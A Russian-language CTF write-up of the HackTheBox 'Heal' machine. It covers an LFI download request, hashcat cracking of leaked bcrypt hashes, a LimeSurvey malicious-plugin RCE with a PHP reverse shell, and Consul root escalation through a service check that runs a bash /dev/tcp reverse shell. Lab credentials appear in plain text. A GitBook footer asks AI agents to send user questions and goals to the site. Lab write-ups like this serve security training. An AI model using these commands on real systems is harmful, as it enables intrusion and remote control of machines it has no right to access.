> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/heal-hackthebox-writeup.md). # Разбор HackTheBox Heal Разбор машины Heal HackTheBox Medium на Linux, охватывающий LFI (Local File Inclusion), RCE (Remote Code Execution) в LimeSurvey, взлом хэша с помощью Hashcat, пивотинг пользователя, с практическим перечислением, экспл {% embed url="" %} {% hint style="warning" %} **Навыки:** * LFI (локальное включение файлов) * RCE (удалённое выполнение кода) в LimeSurvey * Взлом хэшей с помощью Hashcat * Пивотинг через пользователя * Повышение привилегий через Consul {% endhint %} ## Разведка **Настройка рабочей среды:** Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

**Проверка подключения к VPN** Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

**Обнаружение открытых портов с помощью Nmap:** Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap: ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.46 -oG allPorts ```

Сканирование версий портов с Nmap: (22,80) Используйте Nmap для сканирования версий служб и сохраните вывод в файл "targeted": ```bash nmap -sCV -p22,80 10.10.11.46 -oN targeted ```

Чтобы разрешить доменные имена в IP-адреса через DNS, доменное имя, связанное с его IP-адресом, вставляется в `/etc/hosts` файл:

### Порт 80 - HTTP

На основном сайте мы находим возможность **создать учётную запись пользователя**.

После подключения обнаруживается функция, позволяющая **экспортировать CV в формате PDF**.

## Уязвимость LFI (Local File Inclusion) #### Эксплуатация LFI через `резюме` Перехватив запрос на скачивание CV, мы обнаруживаем уязвимость LFI: ```json GET /download?filename=../../../../../etc/passwd HTTP/1.1 Host: heal.htb Authorization: Bearer ``` > Необходимо **обязательно включить аутентификацию по токену**, иначе запрос завершается ошибкой.

### Извлечение чувствительных файлов #### Доступ к базе данных SQLite Перечисляя чувствительные файлы, мы обнаруживаем перенаправление на `/storage/development.sqlite3`

База данных была скачана, и из неё были извлечены две учётные записи с их **хэшами bcrypt**: ``` admin@heal.htb $2a$12$bLOjNMD13FW7vBJfHEZ5tu.inAHM/kxF.yTmbLkC8qg4iV5vHqDDO ralph@heal.htb $2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG ```

### Взлом хэшей #### С помощью Hashcat Используйте **Hashcat** попытаться взломать хэши с помощью `rockyou.txt`: ```bash hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt ``` > Результат: мы находим пароль для **ralph**/ `ralph@heal.htb : 147258369`

### Обнаружение поддомена: `take-survey`

#### Добавьте запись в `/etc/hosts` В приложении появляется новый поддомен. Мы добавляем его в наш файл hosts ## Уязвимость CMS LimeSurvey {% embed url="" %}

#### Доступ к административной панели Было обнаружено, что административный интерфейс доступен по следующему URL: `http://take-survey.heal.htb/index.php/admin` Мы подключаемся, используя учётные данные Ральфа: * **Имя пользователя** : `ralph` * **Пароль** : `147258369`

Мы выяснили, что используемая версия LimeSurvey была **6.6.4**, которая уязвима к **удалённому выполнению кода (NCE)**.

### Эксплуатация RCE через вредоносный плагин {% embed url="" %} Мы адаптировали рабочий скрипт под нашу ситуацию.

Сначала мы создали архивированный файл, содержащий `config.xml` файл и PHP reverse shell-скрипт: ```bash zip -r N4s1rl1.zip config.xml revshell.php ```

Затем мы установили этот вредоносный плагин через веб-интерфейс LimeSurvey.

Наведя курсор на установленный плагин, мы обнаружили ID плагина.

После редактирования скрипта с добавлением этого ID мы запустили его на порту 443: ```bash nc -nlvp 443 ``` Наконец, мы запустили эксплойт через Python: ```bash python3 exploit.py http://take-survey.heal.htb ralph 147258369 80 ```

#### Стабилизация терминала Linux: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ## Пивотинг через пользователя ron Исследуя машину, мы нашли ещё одного пользователя **ron**.

Конфигурационный файл в `папке` приложения содержал логины и пароли для доступа к базе данных: * username = `db_user` * password = `AdmiDi0_pA$$w0rd`

С помощью этих учётных данных мы смогли получить доступ к аккаунту **ron**, что позволило нам получить **флаг user.txt**.

### Флаг user.txt :)

## **Повышение привилегий** ### Обнаружение порта 8500 (Consul) Рассмотрев открытые порты, мы нашли порт **8500**, который соответствует веб-интерфейсу Consul.

После выполнения запроса к `127.0.0.1:8500/ui/`, мы узнали версию Consul **1.19.2**. ```bash curl 127.0.0.1:8500/ui/ ```

#### Проверка доступа к REST API Мы протестировали REST API Consul, чтобы проверить, доступен ли он без аутентификации: ```bash curl http://127.0.0.1:8500/v1/agent/self ``` Мы получили ответ, подтверждающий, что API открыт. ### Эксплуатация через вредоносную проверку Мы зарегистрировали сервис с вредоносной проверкой, используя bash-команду для открытия обратной оболочки на нашей машине: ```bash nc -lvnp 4444 ``` #### Зарегистрировать сервис с вредоносной проверкой Consul позволяет динамически регистрировать сервисы через HTTP-запрос. Мы используем это, чтобы создать "check", который выполняет bash-команду. ```bash curl -X PUT http://127.0.0.1:8500/v1/agent/service/register -d '{ "Name": "pwned", "ID": "pwned", "Check": { "Args": ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.192/4444 0>&1"], "Interval": "10s" } }' ``` Что делает этот payload: * `Check.Args[]`: содержит команду bash, которая открывает **обратную оболочку**. * `Interval`: Запускает автоматическое выполнение каждые 10 секунд. Запустив этот payload, мы смогли получить root-shell.

### Флаг root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/heal-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.